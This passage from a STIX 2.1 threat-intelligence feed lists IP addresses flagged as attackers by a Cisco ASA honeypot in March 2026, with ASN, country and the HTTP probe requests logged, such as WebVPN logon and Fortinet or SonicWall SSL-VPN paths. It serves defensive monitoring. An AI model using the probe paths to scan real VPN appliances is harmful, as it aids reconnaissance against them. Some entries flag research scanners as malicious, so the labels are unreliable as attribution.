      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--88dd206c-0548-43e5-979a-970f730a4c72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:20:13.000Z",
      "valid_until": "2026-04-20T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T04:13:21.328Z",
          "last_seen": "2026-03-19T04:13:21.328Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--e590ed59-8cea-4480-bfd8-6e237e6d84a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:20:13.000Z",
      "valid_until": "2026-04-20T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T04:10:52.016Z",
          "last_seen": "2026-03-19T04:10:52.016Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--fd1ec240-cb5c-4fe3-bf3e-b2b9ceeaca40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:20:13.000Z",
      "valid_until": "2026-04-20T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T04:15:22.099Z",
          "last_seen": "2026-03-19T04:15:22.099Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--2d7e5c4b-1c15-4235-a75e-2538d83c9457",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:20:13.000Z",
      "valid_until": "2026-04-20T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T04:15:27.530Z",
          "last_seen": "2026-03-19T04:15:27.530Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T06:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--76e66f53-3e3b-422b-9a46-bbeb501bd478",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T06:20:02.000Z",
      "valid_until": "2026-04-20T06:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-19T06:02:56.630Z",
          "last_seen": "2026-03-19T06:03:35.354Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T07:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--3447c1e7-8680-43ed-8ba8-fe487aebaf37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:20:03.000Z",
      "valid_until": "2026-04-20T07:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-19T06:56:56.433Z",
          "last_seen": "2026-03-19T06:56:59.434Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T07:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--8c5027b4-c630-4930-8485-68164efc01a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:20:03.000Z",
      "valid_until": "2026-04-20T07:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-19T06:57:39.665Z",
          "last_seen": "2026-03-19T06:57:42.668Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T07:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--c3d49551-f5e8-47a3-8aaf-7d6d4d69a79a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '24.144.88.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:20:03.000Z",
      "valid_until": "2026-04-20T07:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-19T06:20:32.584Z",
          "last_seen": "2026-03-19T06:20:38.758Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T09:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: UA; ASN 211736 (FOP Dmytro Nedilskyi)",
      "id": "indicator--cf83767f-f7aa-43b7-b025-79d50a57c8a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.156.73.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:20:15.000Z",
      "valid_until": "2026-04-20T09:20:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-19T08:47:58.160Z",
          "last_seen": "2026-03-19T08:48:03.066Z",
          "country": "Ukraine",
          "country_code": "UA",
          "asn": 211736,
          "as_org": "FOP Dmytro Nedilskyi",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.0\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.0\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:20:13.000Z",
      "valid_until": "2026-04-20T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 27,
          "first_seen": "2026-03-19T09:59:09.915Z",
          "last_seen": "2026-03-24T07:43:42.361Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--37cfd34b-e846-47fa-be06-b1a3327d7761",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:20:13.000Z",
      "valid_until": "2026-04-20T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-19T10:03:24.913Z",
          "last_seen": "2026-03-24T07:41:43.470Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a9bd2fe1-901a-45ac-90ca-a5e1dbc45bd2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:20:13.000Z",
      "valid_until": "2026-04-20T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-19T10:03:16.409Z",
          "last_seen": "2026-03-24T07:39:29.838Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--91f4d0d9-7a38-444a-8cb4-216f5ba94d12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:20:13.000Z",
      "valid_until": "2026-04-20T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T10:03:38.667Z",
          "last_seen": "2026-03-19T10:03:38.667Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4bcda25e-1d8f-400f-a86a-057c1720cfb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:20:13.000Z",
      "valid_until": "2026-04-20T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-19T10:01:07.342Z",
          "last_seen": "2026-03-24T07:41:41.377Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2ce8e3d1-4d34-48c9-a43a-c68ea8f69eab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:20:13.000Z",
      "valid_until": "2026-04-20T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-19T10:01:50.452Z",
          "last_seen": "2026-03-24T07:41:51.839Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T12:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--79610107-5ccc-4b40-ac37-c3a4196e0464",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:20:13.000Z",
      "valid_until": "2026-04-20T12:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-13T02:21:12.632Z",
          "last_seen": "2026-03-19T11:58:07.966Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /login/login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T16:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--9d0470cd-b7cf-4095-8bd4-2f878e6e629e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T16:20:07.000Z",
      "valid_until": "2026-04-20T16:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T15:44:04.164Z",
          "last_seen": "2026-03-19T15:44:04.164Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T16:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--a9cf9965-0023-47b4-85ec-53fe7e45aff9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T16:20:07.000Z",
      "valid_until": "2026-04-20T16:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-06T11:45:04.629Z",
          "last_seen": "2026-03-26T12:59:07.776Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T19:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--9b6f6943-9bb4-46c0-ae66-20b8b2dafc7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.206.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:20:07.000Z",
      "valid_until": "2026-04-20T19:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-19T18:54:12.131Z",
          "last_seen": "2026-03-19T18:54:56.630Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T19:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.0\" 200 - geo: UA; ASN 211736 (FOP Dmytro Nedilskyi)",
      "id": "indicator--a642f59c-6199-4199-b244-91d9790f9cc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '88.210.63.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:20:07.000Z",
      "valid_until": "2026-04-20T19:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-19T18:32:45.983Z",
          "last_seen": "2026-03-26T09:20:17.899Z",
          "country": "Ukraine",
          "country_code": "UA",
          "asn": 211736,
          "as_org": "FOP Dmytro Nedilskyi",
          "event_types": [
            "\"GET / HTTP/1.0\" 200 -",
            "\"GET /api/sonicos/is-sslvpn-enabled HTTP/1.0\" 404 -",
            "\"GET /sslvpn_logon.shtml HTTP/1.0\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T22:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--b9e23aec-ff27-499a-b400-ec8f08085f93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '221.199.73.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T22:20:03.000Z",
      "valid_until": "2026-04-20T22:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T21:38:08.746Z",
          "last_seen": "2026-03-19T21:38:08.746Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T23:20:03.000Z",
